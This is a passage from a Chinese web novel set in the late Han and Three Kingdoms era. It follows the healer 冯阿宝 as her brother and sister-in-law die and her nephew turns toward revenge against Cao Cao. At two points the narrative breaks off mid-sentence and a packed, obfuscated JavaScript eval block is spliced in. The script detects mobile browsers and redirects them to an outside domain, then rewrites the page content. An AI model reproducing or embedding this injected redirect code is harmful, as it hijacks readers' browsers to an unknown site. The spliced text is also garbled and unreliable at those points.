我依依不舍,他却催促:“快!从后窗走!记住,活下去!莫再来了!” 无奈,我只得从后窗翻出。最后回望一眼,见他努力对我微笑,眼中满是不舍。 溜出宅院,与尔甲会合。我失魂落魄,泪流不止。 尔甲问清经过,叹道:“至少见到了。既然他让你活下去,莫要辜负他的心意。” 是啊,阿兄拼死求生,不就是希望我好好活着吗? 我们连夜离开邺城。回望那座囚禁阿兄的宅院,我心中凄然。 乱世之中,兄妹相见却不能相认,相守却不能相伴。 唯有那首童谣,在心中回响: “星星数不到我的小阿宝... 月亮照不到啊我的小阿宝...” 十七岁的阿宝,终于找到了阿兄,也永远失去了阿母。 而前路,依旧漫长。 13. 司徒之计 建安九年的秋雨,淅淅沥沥下了整月。 我回到汉中郑家庄,整个人如同被抽去了魂魄。阿母的死讯像一把钝刀,日日研磨着我的心。阿兄重伤的模样,更是夜夜入梦。 “丫头,吃点东西吧。”赵媪端着粥,眼圈通红,“你这样下去,身子怎么受得住?” 我勉强咽了几口,味同嚼蜡。窗外雨声潺潺,像极了阿母从前哼歌的调子。 “冬雪飘,那个柴门掩,灶火暖着旧襦袄...”我不自觉哼出声,眼泪滴进粥碗。 赵媪抱着我痛哭:“苦命的孩子...苦命啊...” 郑公来看我,叹了又叹:“冯家就剩你们兄妹了,你更要保重自己。若是垮了,你兄长岂不更伤心?” 是啊,阿兄拼死要我活下去,我不能辜负他。 我强打精神,重新开始学医行医。华郎中见我肯振作,倾囊相授:“医者能救人性命,也能慰人心灵。阿宝,你有这份仁心,必成良医。” 我越发刻苦,白日行医,夜间研读医书。唯有忙碌,才能暂时忘却痛苦。 偶尔从商队得知中原消息:曹操已基本统一北方,正练兵积粮,似要南征。阿兄在邺城养伤,据说伤势稍有好转。 心中稍安,却仍牵挂。曹操南征,阿兄作为亲兵,岂能不上战场? 建安十年春,汉中来了位特殊客人——是尔甲带来的羌族使者,求见郑公。 “曹操欲联合羌人共图汉中。”使者直言来意,“头人派我打听虚实。” 郑公沉吟道:“汉中偏安一隅,不欲参与纷争。但若曹公来攻,也只能拼死抵抗。” 使者点头:“头人也是此意。羌人受汉官欺压已久,不愿再为人鹰犬。” 我在屏风后听得心惊。曹操的手,果然要伸向汉中了。 使者走后,我向郑公请命:“阿宝愿往羌地,助尔甲联络各部,共抗曹军。” 郑公愕然:“你一个女娃,如何参与这等大事?” 我坚定道:“阿宝虽力薄,但通羌语,知医术,或可尽绵薄之力。况且...”我顿了顿,“曹操若得汉中,下一步必是益州。届时战火连绵,百姓何辜?” 郑公长叹:“真是冯安的女儿...罢了,去吧,但切记安全。” 再至羌村,老村长已病重。见我来了,他挣扎坐起:“孩子...你来得正好...” 他告诉我,曹操使者确实来过,许以重利,要羌人出兵助战。 “但我羌人...不是鹰犬...”老村长喘息道,“我们只想放羊牧马...平安度日...” 我握着他枯瘦的手:“阿爷放心,阿宝必尽力周旋。” 老村长递给我一块羊骨符:“这是头人信物...见符如见人...尔甲年轻...你多帮他...” 当夜,老村长溘然长逝。羌笛哀鸣,响彻山谷。 尔甲继任头人,我辅佐他联络各部。多数羌人不愿参与汉人纷争,但也有部落被曹操利诱,蠢蠢欲动。 “最难办的是俄何部。”尔甲忧心,“俄何被曹操许以官职,已带部众投曹。” 我想起那个精明的商队头领,心中怅然。乱世之中,人人都有自己的选择。 我们四处奔走,劝说各部保持中立。我以医者身份为羌人治病,逐渐赢得信任。 一日,我们至白马羌部落,恰遇部落首领之子急病。我以羌药配合针灸,救回孩子性命。 首领感激不尽,设宴款待。席间,他坦言:“曹操使者昨日刚走,许我部盐铁之利。但既然尔甲头人和冯医女来说情,我部保持中立。” 稍感欣慰,但形势依然严峻。曹操势大,许多部落不敢公然违抗。 建安十一年夏,曹操果然出兵汉中。张鲁不敌,投降曹操。汉中易主。 消息传来,羌地震动。许多观望的部落纷纷倒向曹操。 “怎么办?”尔甲焦急,“若曹操要羌人出兵南下,我们无力反抗。” 我忽然想起王允当年的谋划——或许可联络刘备,牵制曹操? “刘备如今在荆州,正需盟友。”我分析道,“若羌人愿与刘备结盟,或可制衡曹操。” 尔甲犹豫:“刘备势弱,恐非曹操敌手。” “但多一个盟友,总多一分生机。”我坚持。 于是我们派心腹往荆州送信,试探刘备态度。 等待回信期间,曹操使者果然至羌地,要求各部出兵助战。 尔甲以“部落纷争,难以统一”为由,暂时推脱。 使者冷笑:“曹公耐心有限。若不及早决断,恐遭兵祸。” 压力日增。部分部落开始动摇,甚至暗中准备出兵。 正当我们焦头烂额时,荆州回信至。刘备表示愿与羌人结盟,共抗曹操。 “但远水难救近火。”尔甲仍忧,“若曹操现在来攻,刘备如何相助?” 我忽然想到一计:“或可假意答应出兵,但拖延时日。待刘备北上,再见机行事。” 风险极大,但别无他法。 我们假意应允曹操使者,但以“粮草未备,部落需协调”为由,要求宽限时日。 使者似信非信:“最多三月。届时若不出兵,休怪无情。” 使者走后,我们立即备战。尔甲训练羌兵,我组织妇孺采药制伤药,准备应对最坏情况。 建安十二年春,消息传来:刘备应刘璋之邀入蜀,但双方反目,刘备围攻成都。 “刘备一时难脱身了。”尔甲叹息,“我们的计划恐要落空。” 祸不单行。俄何突然带曹兵至羌村,声称“奉曹公之命,征调羌兵”。 “粮草已备,部落已齐,为何还不出兵?”俄何质问尔甲。 尔甲辩解:“各部尚有分歧,需时协调...” 俄何冷笑:“我看是尔甲头人有意拖延吧?”突然挥手,“拿下!” 曹兵一拥而上。尔甲奋力抵抗,我急中生智,吹响警笛。附近部落闻声来援,一场混战爆发。 我趁乱拉尔甲突围:“快走!去白马羌!” 我们连夜奔逃至白马羌部落。首领收留我们,但忧心忡忡:“俄何必引曹兵来攻。我部独木难支。” 果然,三日后,俄何引数千曹兵围山。声称若不交出尔甲,便血洗部落。 尔甲欲挺身而出,被我拉住:“不可!你若降,羌地再无宁日!” “但那也不能连累白马羌!”尔甲痛苦道。 正当危急,山下突然骚动。一队兵马从后杀来,旗帜上有个“刘”字! “是刘备的人!”尔甲惊喜。 原来刘备虽在蜀中,但派关羽镇守荆州。得知羌地有变,关羽派兵来援。 曹兵遭突袭,阵脚大乱。俄何见势不妙,仓皇撤退。 危机暂解。关羽部将见到我们,呈上书信:“关将军知羌人义举,特来相助。望今后同心抗曹。” 尔甲激动不已:“羌人必不负将军所托!” 于是羌人与刘备正式结盟。我作为联络人,常往来羌地与荆州之间。 建安十三年,曹操果然南征。刘备联合孙权,于赤壁大破曹军。 消息传至羌地,欢欣鼓舞。许多观望的部落纷纷来投,羌人抗曹联盟日益壮大。 尔甲威信日隆,被推为羌人共主。他常对我说:“阿宝,若非你当日坚持,羌地早已归曹。” 我微笑摇头:“是羌人自己选择和平。” 然而乱世之中,和平总是短暂。 建安十四年,曹操西征马超,欲从陇西攻汉中。羌地再临兵祸。 我们助马超抗曹,但曹军势大,马超败退。曹操欲乘胜追击,直取汉中。 危急时刻,我忽然想到阿兄——他若在曹营,或可暗中相助? 犹豫再三,我托人往邺城送信,婉转询问阿兄近况。 数月后,回信至。但非阿兄手笔,而是曹营文书代复: “冯队率伤愈,擢升骑都尉,随丞相西征。一切安好,勿念。” 随军西征?那岂不是在对面军中? 我心中矛盾万分。既盼阿兄安好,又怕与他战场相见。 尔甲知我心事,劝道:“两军交战,各为其主。若真战场相见,也是天命。” 是啊,乱世之中,个人情感在时代洪流前如此渺小。 建安十五年春,曹操果然攻汉中。刘备派张飞、马超等迎战。 我组织羌医队,随军救治伤员。战场惨烈,每日伤亡无数。 一日,我军小胜,俘获数名曹兵。我为他们治伤时,无意中打听阿兄消息。 “冯都尉?”一个伤兵道,“听说在渭南大营,负责粮草押运。” 渭南!那个葬着阿父的地方! 我心中悸动。或许...或许可暗中见上一面? 犹豫再三,我向尔甲坦言心事。 尔甲沉吟:“太危险了。若被发觉,必死无疑。” “但我必须去。”我坚定道,“或许...或许能劝阿兄...” 尔甲长叹:“就知道劝不住你。我派心腹陪你,但切记安全。” 于是我们假扮民夫,混入渭南。果然打听到阿兄负责押运粮草,常往来于渭南与陈仓之间。 我们在他必经之路设下茶摊,守株待兔。 第三日午后,果然见一队曹兵押粮而来。为首将领英武挺拔,正是阿兄! 他比三年前健壮许多,眉宇间多了份沧桑,但左眉疤痕依旧。 我心跳如鼓,强自镇定上前斟茶:“军爷歇歇脚吧。” 阿兄下马饮水,目光扫过我,忽然定格。手中水碗“啪”地落地。 “阿...”他险些脱口而出,急忙改口,“多谢小娘子。” 我低头掩饰激动:“军爷慢用。” 他慢慢喝水,目光却始终落在我身上。待兵士稍远,他低声道:“阿宝?真是你?” 我含泪点头:“阿兄...你好了...” 他眼中闪过惊喜,随即警惕四望:“这里危险!你快走!” “阿兄...”我急切道,“曹操残暴,你何必...” 他打断我:“不必多说。我自有主张。”突然提高声音,“茶钱放这儿了。”塞给我一块碎银,暗中夹着纸条。 队伍继续前行。我紧攥纸条,心中怦怦直跳。 回至安全处,展开纸条,上面只有八字:“月圆之夜,陈仓故驿。” 我怔怔看着纸条。阿兄约我相见?所为何事? 尔甲担忧:“或是陷阱。阿宝,慎重。” 我摇头:“阿兄不会害我。” 月圆之夜,我独赴陈仓故驿。那里已荒废多年,断壁残垣在月光下如鬼魅。 阿兄早已等候,见我独来,松了口气:“傻丫头,真敢独来。” “阿兄相约,岂敢不来。”我仔细看他,“你...还好吗?” 他苦笑:“苟全性命于乱世罢了。”突然正色,“阿宝,你可知曹操欲屠汉中?” 我大惊:“为何?” “因汉中屡抗不止,曹操欲杀一儆百。”他沉痛道,“我已多次谏阻,但...” 我如坠冰窟:“那...那怎么办?” 他沉吟片刻:“或许...或许可投刘备。” 我惊喜:“阿兄愿弃暗投明?” 他点头:“曹操虽待我不薄,但屠城之举,天理难容。只是...”他面露难色,“家眷皆在邺城,若叛,必遭毒手。” 原来阿兄已成家立业!我竟不知。 “嫂嫂她...” “是曹操部将之女。”他苦笑,“政治联姻罢了。但有一子,年方三岁...” 我心中复杂。阿兄已有家室,牵绊更深了。 “我可设法接应嫂嫂侄儿。”我急道,“尔甲在羌地有人脉...” 他摇头:“太危险。曹操多疑,邺城守备森严。”顿了顿,“阿宝,我若出事,你务必保全自己。冯家就剩你了。” 还要再说,远处突然传来马蹄声。阿兄色变:“快走!可能是巡哨!” 他推我入暗道:“记住!无论发生什么,活下去!” 暗道合拢,我最后见他一眼——月光下,他目光坚毅,似已下定决心。 我沿暗道离开,心中五味杂陈。阿兄欲叛曹投刘,凶险万分。但若成功,或许冯家真有团圆之日。 然而乱世之中,希望总是如此渺茫。 回到羌地,我立即联络尔甲,筹划接应阿兄家眷。但邺城遥远,曹操势大,谈何容易。 建安十六年,曹操果然欲屠汉中。幸得刘备及时来援,汉中得保。 但阿兄消息全无。托人多方打听,只知他因谏阻屠城,被曹操冷落。 “冯都尉近来少见踪影。”曹营细作报称,“据说称病在家。” 我心中不安。阿兄是否在筹划叛逃?可需相助? 然而没等来阿兄消息,却等来曹操撤军。汉中危机暂解。 我松口气,或许阿兄暂时安全了。 建安十七年春,我决定再去渭南, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16530071|186363||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 试图联络阿兄。 尔甲坚决同行:“此次绝不能再让你独行。” 至渭南,却发现曹军大营已空。打听才知,曹操已回邺城,主力东归。 “冯都尉?”留守老卒道,“月前随丞相回邺城了。听说...听说临行前与丞相大吵一架。” 大吵一架?所为何事? 心中不安日盛。我们立即东行,欲往邺城。 至洛阳,忽闻惊天消息:曹操称魏公,加九锡! “汉室危矣...”路人窃窃私语。 更令人震惊的是:曹操诛杀多名劝谏大臣,其中似乎有冯姓将领! 我如遭雷击,抓住路人急问:“哪个冯姓将领?” 路人惊慌:“不...不清楚...只听说是西凉降将...” 浑身冰凉。尔甲急忙扶住我:“未必是阿兄!冷静!” 我们连夜赶路,心焦如焚。至邺城地界,却见戒严森严,根本无法进城。 多方打听,才知真相:确有多名将领因反对曹操称公被杀,其中有个冯姓都尉,左眉有疤... “不...不可能...”我喃喃自语,眼前一黑,晕厥过去。 醒来时,已在客栈。尔甲面色沉重:“阿宝...节哀...” “尸体呢?”我颤声问,“见到尸体了吗?” 尔甲摇头:“据说...据说反抗激烈,尸骨无存...” 尸骨无存?我不信!活要见人,死要见尸! 我挣扎起身:“我要进城!我要亲眼确认!” 尔甲按住我:“冷静!现在进城就是送死!” 正争执间,房门轻响。个蒙面人闪入,急声道:“可是冯姑娘?” 我警惕点头。 蒙面人递上个布包:“冯都尉临终前托我转交。快走!追兵很快到!” 说罢匆匆离去。 我颤抖着打开布包——里面是阿兄的贴身玉佩,还有封血书: “阿宝:见字如晤。兄不才,未能光耀门楣,反累家人。今决意死谏,以全忠义。妻儿已托人送走,勿念。唯放心不下你。愿汝平安喜乐,莫再涉险。兄栋绝笔。” 血字斑驳,似在诉说最后时刻的惨烈。 我怔怔看着血书,整个世界天旋地转。 阿兄...真的走了... 那个在战场上拼杀的阿兄,那个在邺城养伤的阿兄,那个月夜相约的阿兄...真的不在了... “啊————”我终于哭出声来,撕心裂肺。 尔甲默默陪着我,眼中含泪。 哭了不知多久,我渐渐冷静。擦干眼泪,收起血书玉佩。 “尔甲,帮我打听嫂嫂侄儿下落。”我声音平静得自己都惊讶,“阿兄托付的人,或许知道。” 尔甲担忧地看着我:“阿宝,你...” “我没事。”我起身,“冯家就剩我了,我不能垮。” 乱世之中,眼泪是最无用的东西。 我们多方打听,终于找到阿兄托付的人——是个退伍老兵,曾受阿兄恩惠。 “夫人和小公子已安全送走。”老兵低声道,“都尉嘱托,送去益州刘备处。” 益州!刘备如今据有益州! “可知具体所在?”我问。 老兵摇头:“为安全起见,分开走的。或许已到成都了。” 一线希望。阿兄的妻儿还活着! 我立即决定:去益州!找嫂嫂侄儿!这是阿兄最后的托付! 尔甲叹道:“就知道劝不住你。我陪你。” 建安十八年夏,我们再次踏上征途。这次目标明确:成都。 一路艰难,但心中有了目标,反而坚定。 至成都,果然打听到消息:确有冯姓遗孀携子投奔刘备,安置在城西宅院。 我们找到那处宅院,敲门良久,才有个老仆应门。 “请问冯夫人在吗?”我急切问,“我是她小姑冯阿宝。” 老仆打量我们一番,低声道:“夫人不见客。请回吧。” 我急忙拿出阿兄玉佩:“请将此物呈给夫人,她自会明白。” 老仆犹豫片刻,接过玉佩入内。 片刻,门内传来急促脚步声。一个素衣妇人开门,面容憔悴但难掩清丽,手中紧攥玉佩,泪眼婆娑。 “你...你就是阿宝?”她颤声问。 我点头:“嫂嫂...” 她一把抱住我,痛哭失声:“夫君他...他真的...” 院内,个三岁男童怯生生探头。眉眼神似阿兄。 “这是桓儿。”嫂嫂拭泪,“快叫姑姑。” 男童乖巧行礼:“姑姑。” 我蹲下身,轻抚他的脸:“桓儿乖...” 冯家血脉还在!阿兄有后! 嫂嫂告诉我们,阿兄早已安排后路,托心腹送他们出邺城。一路艰险,终于抵达成都。 “夫君常提起你。”嫂嫂泣道,“说若能团圆,死而无憾...” 我含泪微笑:“现在不是团圆了吗?” 虽然阿兄不在了,但他的血脉还在。冯家没有绝后。 我们在成都安顿下来。刘备得知我们是冯栋家属,颇为关照,赐宅院田产。 但我婉拒官职:“阿宝只愿行医救人,不问政事。” 于是我在成都开医馆,免费为百姓治病。嫂嫂持家,教导桓儿。尔甲返回羌地,继续联络抗曹。 建安十九年,曹操称魏王。汉室名存实亡。 我常抱着桓儿,讲述阿兄的故事。告诉他,他父亲是个英雄,忠义双全。 “爹爹为什么不要桓儿了?”桓儿天真问。 我轻抚他的头:“爹爹不是不要桓儿。他是去很远的地方,守护桓儿呢。” 桓儿似懂非懂,但不再追问。 夜深人静时,我常对着阿兄的血书发呆。那八个字墨迹苍劲,仿佛阿兄最后的目光: “愿汝平安喜乐,莫再涉险。” 阿兄,阿宝会好好的。会照顾好嫂嫂侄儿,会行医救人,会好好活着。 乱世依旧,但生活还要继续。二十岁的阿宝,在成都找到了新的归宿。 而冯家的故事,还在继续。通过桓儿,通过那些被救治的百姓,通过绵延不绝的生命。 “春风摇,那个柳叶俏,燕子点水绕...”我哼着童谣,哄桓儿入睡。 窗外明月皎洁,仿佛阿兄欣慰的目光。 乱世众生,命如草芥。但希望与爱,永不灭绝。 14. 再陷离乱 建安二十年的成都,表面上比中原安宁许多。 我在城西的医馆渐渐有了名声。百姓称我“冯医女”,穷苦人来治病,我分文不取;富户来求医,我收些诊金贴补家用。 嫂嫂周氏持家有方,将小院打理得井井有条。桓儿已经五岁,聪慧伶俐,眉眼神似阿兄。 “姑姑,这是什么草药?”桓儿常来医馆,好奇地摸摸这个,问问那个。 “这是止血草,这是退热花。”我耐心教他,“桓儿想学医吗?” 桓儿摇头:“桓儿要学武!像阿父一样当将军!” 周氏闻言色变,急忙拉过桓儿:“莫要胡说!你阿父他...”话未说完,眼眶先红了。 我知她心中苦楚。阿兄惨死,始终是她心中最深的痛。 夜深人静时,周氏常对着阿兄的血书垂泪。我劝她:“嫂嫂,为了桓儿,也要保重身子。” 她拭泪强笑:“我知道。只是有时想起夫君...心里难受。” 我握紧她的手:“阿兄希望我们好好活着。” 日子看似平静,但乱世之中,安宁总是短暂。 建安二十一年春,成都突然戒严。听说曹操大军西征,欲取汉中,进而图谋益州。 刘备紧急调兵遣将,准备迎战。城中气氛紧张,流言四起。 一日,医馆来了个特殊病人——是个中年文士,中暑昏倒街头。我救治后,他自称姓法,从汉中逃难而来。 “曹军势大,汉中恐难保。”法先生忧心忡忡,“若汉中失守,成都危矣。” 我心中不安。若曹军真至成都,我们这些“叛将家属”岂能幸免? 法先生养病期间,常与我说天下大势。他见识广博,对时局分析透彻。 “曹操虽强,但不得人心。”法先生道,“刘备虽弱,但民心所向。胜负犹未可知。” 我稍感宽慰,但仍担心。乱世之中,胜败往往只在一念之间。 数日后,法先生病愈告辞。临行前意味深长道:“冯医女,乱世求生,当早做准备。” 我怔在原地。他是否知道了什么? 果然,几日后,尔甲突然从羌地赶来,面色凝重:“曹操已知你们在成都!已派细作来查!” 如晴天霹雳!我们隐藏多年,终究还是被发现了! “怎么办?”周氏惊慌失措,“桓儿还小...” 尔甲沉声道:“必须立即离开成都!我已安排好了,今夜就走!” 当夜,我们简单收拾行装,准备随尔甲连夜出城。 然而刚到城门,就见火光通明——城门戒严,许进不许出! “糟了!”尔甲色变,“必是细作报信了!” 我们急忙退回城中,躲到尔甲事先准备的安全屋——一处偏僻民宅。 “暂时安全。”尔甲道,“但这里不能久留。我想办法送你们出城。” 然而次日,全城贴满海捕文书——画着周氏和桓儿的画像,写明“活捉周氏,格杀冯桓”! “曹操好狠毒!”周氏浑身发抖,“连孩子都不放过!” 我紧抱桓儿:“别怕,姑姑在。” 尔甲打听回来,面色更加凝重:“听说曹操下了死令:宁可错杀,不可放过。已有几个冯姓孩童遭殃...” 周氏瘫软在地,泪如雨下:“我苦命的桓儿...” 正当我们焦头烂额时,转机突然出现。法先生悄然来访:“我可助你们出城。” 原来法先生竟是法正,刘备麾下谋士!他早知我们身份,暗中关注。 “主公仁德,不忍忠良之后遭难。”法正道,“我已安排妥当,三日后送你们去江州。” 绝处逢生!我们感激不尽。 三日后,我们扮作法正家眷,顺利出城。至江州,暂居法正别院。 本以为安全了,不料曹操细作如影随形。半月后,别院遭夜袭,幸好尔甲警觉,我们及时从密道逃脱。 “这样东躲西藏不是办法。”尔甲忧心,“必须彻底隐姓埋名。” 法正沉吟道:“我倒有个主意。可送你们去南中,那里山高皇帝远,曹操势力难及。” 南中?那是益州南部蛮荒之地,汉人稀少。 为保全桓儿,我们只能同意。 临行前,法正郑重道:“为安全起见,建议改姓更名。冯姓太危险。” 周氏含泪点头:“但凭先生安排。” 法正思索片刻:“不如姓李吧。常见不惹眼。孩子就叫...李昭,寓意光明。” 李昭...好名字。但愿这孩子真能迎来光明。 周氏却突然跪下:“先生大恩,周氏没齿难忘。但有一事相求:请让桓儿...不,昭儿知道他的身世。冯家忠烈,不能无人知晓。” 法正扶起她:“夫人放心。待孩子长大,必告知一切。” 于是五岁的冯桓成了李昭。我们告别法正,随商队前往南中。 南中路远,山高水险。昭儿水土不服,途中病倒。我日夜照料,幸好医术在身,才保住他性命。 至南中,我们定居永昌郡。这里汉夷杂居,民风淳朴,确是个隐居的好地方。 我们在城郊结庐而居。我开医馆维生,周氏织布持家,昭儿与夷人孩童一同嬉戏,渐渐忘了中原纷争。 夷人信奉巫医,起初不信汉医。但我治好几个重病者后,渐渐赢得信任。 有个夷人头领的女儿急病,巫医束手无策。我以针灸草药治好,头领感激不尽,认我作义妹。 有了夷人庇护,我们生活安稳许多。昭儿学夷语,习夷俗,快活成长。 周氏脸上也多了笑容。有时看着昭儿与夷人孩童摔跤嬉戏,她会轻声说:“若夫君看到,该多欣慰。” 我以为日子会这样平静下去。然而乱世之中,安宁永远是奢侈。 建安二十三年,曹操大军攻破汉中,张鲁降曹。刘备紧急应对,南中兵力被抽调,防务空虚。 当地豪强雍闿趁机叛乱,投靠东吴。永昌郡陷入战乱。 我们再次陷入危险。叛军烧杀抢掠,汉人尤其遭殃。 一日,叛军至我们村落抢粮。我让周氏带昭儿躲入地窖,自己在外周旋。 叛军头目见我是医者,倒未为难:“治好了我兄弟,饶你们不死。” 我只好为他们治伤。期间听到惊人消息:曹操悬赏捉拿冯栋遗孀幼子,赏金又加了! “听说那冯栋的儿子快八岁了,左眉有个胎记...”叛军闲聊。 我心中一惊——昭儿左眉确有淡红胎记!平日用刘海遮掩,竟还有人知道! 叛军走后,我急忙与周氏商量:“此地不宜久留!必须再走!” 周氏却异常平静:“阿宝,我们逃够了。” 她拉着我的手:“这些年,连累你了。你本该过安稳日子...” 我急道:“嫂嫂何出此言!我们是一家人!” 周氏含泪微笑:“正是家人,我才不能再连累你。”她轻抚昭儿睡颜,“昭儿还小,你要带他好好活下去。” 我心中不安,却不知如何劝说。 几日后,村里来了个汉人货郎,自称从成都来。周氏去买布匹,回来后神色恍惚。 “嫂嫂,怎么了?”我问。 周氏强笑:“没什么。”却暗中将一包东西藏入袖中。 当夜,周氏做了许多菜,都是阿兄生前爱吃的。她不停给昭儿夹菜,眼中满是不舍。 “昭儿,要听姑姑的话。”她轻抚昭儿头发,“长大后,要做个正直的人,像你阿父一样。” 昭儿似懂非懂:“昭儿听话。” 我心中不安愈盛:“嫂嫂,你到底怎么了?” 周氏只是摇头:“吃饭吧。” 饭后,周氏说要去邻居家送绣品。我本要陪同,她坚持独自去。 这一去,再没回来。 深夜,邻居匆忙跑来:“冯娘子!不好了!周娘子她...她服毒了!” 如遭雷击!我狂奔至邻居家,见周氏倒在榻上,面色青紫,气息奄奄。 “嫂嫂!”我扑过去,泪如雨下,“为什么这么傻!” 周氏艰难睁眼,递给我一封信:“阿宝...照顾好昭儿...别报仇...” 手缓缓垂下,再无声息。 我瘫倒在地,世界天旋地转。为什么...为什么要这样... 邻居泣道:“日间有个货郎,其实是曹操细作...逼周娘子说出孩子下落...周娘子不肯...就...” 我这才明白——周氏是为保护昭儿,自愿服毒! 抱着周氏逐渐冰冷的身体,我痛哭失声。乱世之中,善良人为何总是这般结局? 处理完周氏后事,我带着昭儿连夜离开永昌郡。曹操细作既已找到这里,必不会罢休。 昭儿哭闹着要阿母,我心如刀割,却无法解释。 我们随商队往南逃亡。至滇池,暂居下来。 这里距中原更远,或许能安全些。 我在滇池继续行医。昭儿渐渐懂事,不再问阿母去向,但眼中常带不符合年龄的忧伤。 一夜,昭儿突发高烧,呓语不断:“阿母...别走...桓儿听话...” 我守着他,心如刀绞。这孩子,什么都记得,只是不说。 病愈后,昭儿变得沉默寡言。常独自望着北方发呆。 我知道,他在想阿母,想中原,想那个从未谋面的阿父。 建安二十四年,消息传来:刘备称汉中王!曹操病重! 天下大势似乎又将变动。 昭儿听到消息,突然问我:“姑姑,曹操是不是快死了?” 我惊讶:“谁告诉你的?” “隔壁阿叔说的。”昭儿眼神冰冷,“他说曹操害死 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16530072|186363||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我阿父阿母。” 我心中剧痛,蹲下身:“昭儿,那些事...” “我要报仇。”八岁的孩子,声音平静得可怕,“我要杀了曹操。” 我紧紧抱住他:“不!昭儿!你阿母希望你平安喜乐!不要报仇!” 昭儿沉默不语,但眼中仇恨如火焰燃烧。 我知劝不住,只能更加小心看护,生怕他做傻事。 然而防不胜防。几日后,昭儿失踪了!只留下一张字条:“姑姑,我去报仇了。勿念。” 我如遭雷击,急忙四处寻找。最后在往北的路上找到他——个小孩子,背着个小包袱,步履坚定地走向北方。 “昭儿!”我冲过去抱住他,“你要去哪!” “去许昌,杀曹操。”他眼神决绝。 我泪如雨下:“你才八岁!怎么杀曹操!是去送死啊!” “我不怕死。”昭儿咬牙,“我要为阿父阿母报仇!” 我强行带他回滇池。他绝食抗议,日渐消瘦。 无奈之下,我只好说出部分真相:“昭儿,你阿母临去前,最放不下的就是你。她要你好好活着,不要报仇。” 昭儿终于哭了:“可是...可是阿母死得好惨...阿父也是...” 我抱着他:“姑姑知道。但活着的人更重要。你若出事,阿父阿母在天之灵怎能安息?” 昭儿似懂非懂,但不再提报仇。 然而仇恨的种子已经种下。我知道,这孩子终有一天会走上复仇之路。 建安二十五年春,消息传来:曹操病逝于洛阳。 昭儿听到后,独自在河边坐了一整天。 晚上,他对我说:“姑姑,曹□□了。” 我点头:“嗯。” “可惜不是我杀的。”他语气平静,却令人心寒。 我不知该如何劝解。乱世仇恨,生生不息。 不久,刘备称帝,国号汉。诸葛亮辅政,治蜀有方。 我想,或许该带昭儿回蜀中。那里毕竟是汉室正统,或许能化解他心中仇恨。 于是我们再次北上,至成都。 诸葛亮得知我们身份,亲自接见。见昭儿聪慧,欲收为弟子。 昭儿却问:“丞相能帮我报仇吗?” 诸葛亮愕然:“报什么仇?” “曹操虽死,曹丕还在。”昭儿眼神冰冷,“父债子偿。” 诸葛亮长叹:“冤冤相报何时了。”却未再多言。 于是昭儿拜诸葛亮为师,学习文武之道。他天赋异禀,进步神速,但心中仇恨始终未减。 我继续行医,暗中关注昭儿。知道他勤学苦练,只为有朝一日北伐中原。 诸葛亮待昭儿如子,常教导他:“治国平天下,非为私仇。” 昭儿表面应允,但我知道,他从未放弃复仇之念。 有时夜深,他会对着北方喃喃自语:“阿父,阿母,桓儿必为你们报仇。” 我听见了,只能默默垂泪。乱世之中,仇恨如野草,烧不尽,吹又生。 建兴元年,刘备驾崩,刘禅继位。诸葛亮辅政,准备北伐。 昭儿主动请缨,欲随军出征。 我知拦不住,只能为他准备行装。 临行前夜,昭儿来到我房中:“姑姑,桓儿此去,不知能否归来。” 我替他整理衣襟:“一定要归来。姑姑等你。” 昭儿突然跪下:“姑姑养育之恩,桓儿没齿难忘。若桓儿...若桓儿回不来,请姑姑保重。” 我扶起他,泪如雨下:“傻孩子,一定要回来。冯家就剩你了。” 昭儿重重点头,眼中却有决绝之意。 次日,大军出征。我站在城头,望军队远去,心中凄然。 阿兄,嫂嫂,我尽力了。但这孩子,终究选择了复仇之路。 乱世之中,无人能真正逃脱命运。 医馆中,来了个新学徒,是个父母双亡的孤女,叫阿禾——与童年玩伴同名。 我收留了她,教她医术。她学得很认真,有时哼起歌谣,调子熟悉。 “狗儿跳,那个猫儿闹,吾家小宝吃糖糕...”她哼着。 我怔怔听着,仿佛回到童年。那些温暖时光,再也回不去了。 “师傅,怎么了?”阿禾问。 我擦擦眼角:“没什么。想起些往事。” 继续教她认药。窗外阳光正好,仿佛天下太平。 但我知道,北方战火正燃。昭儿就在其中,为仇恨而战。 “春风摇,那个柳叶俏,燕子点水绕...”阿禾继续哼着。 我望向北方,心中默念:昭儿,一定要活着回来。 乱世依旧,但生活还要继续。冯家的故事,还在书写。 只是不知结局,是圆满,还是另一个悲剧。 唯有那首童谣,穿越时空,永远传唱 15. 陇西归人 建兴五年的春天,我站在成都城墙上,远眺北方。 诸葛亮率领的汉军正在祁山与曹魏对峙。昭儿随军出征,已经一年未有音讯。 “师傅,风大了,回吧。”阿禾为我披上外衣。这个父母双亡的孤女,如今已是我得力的助手。 我点点头,最后望了一眼北方。昭儿,你还好吗? 回到医馆,患者络绎不绝。北伐期间,伤员增多,我日夜忙碌,唯有如此才能暂时忘却牵挂。 阿禾如今已能独当一面,诊治寻常病症。她聪慧善良,颇得患者喜爱。 “师傅,刚才有个老兵说,丞相在祁山屯田,与魏军对峙。”阿禾一边捣药一边说,“还说有个少年将领屡立战功,人称‘小白袍’...” 我心一动:“可知姓名?” 阿禾摇头:“只说姓李,使长枪,武艺高强。” 会是昭儿吗?他随母姓李,使的正是冯家枪法。 晚间闭馆后,我取出阿兄的血书和昭儿幼时的衣物,默默垂泪。 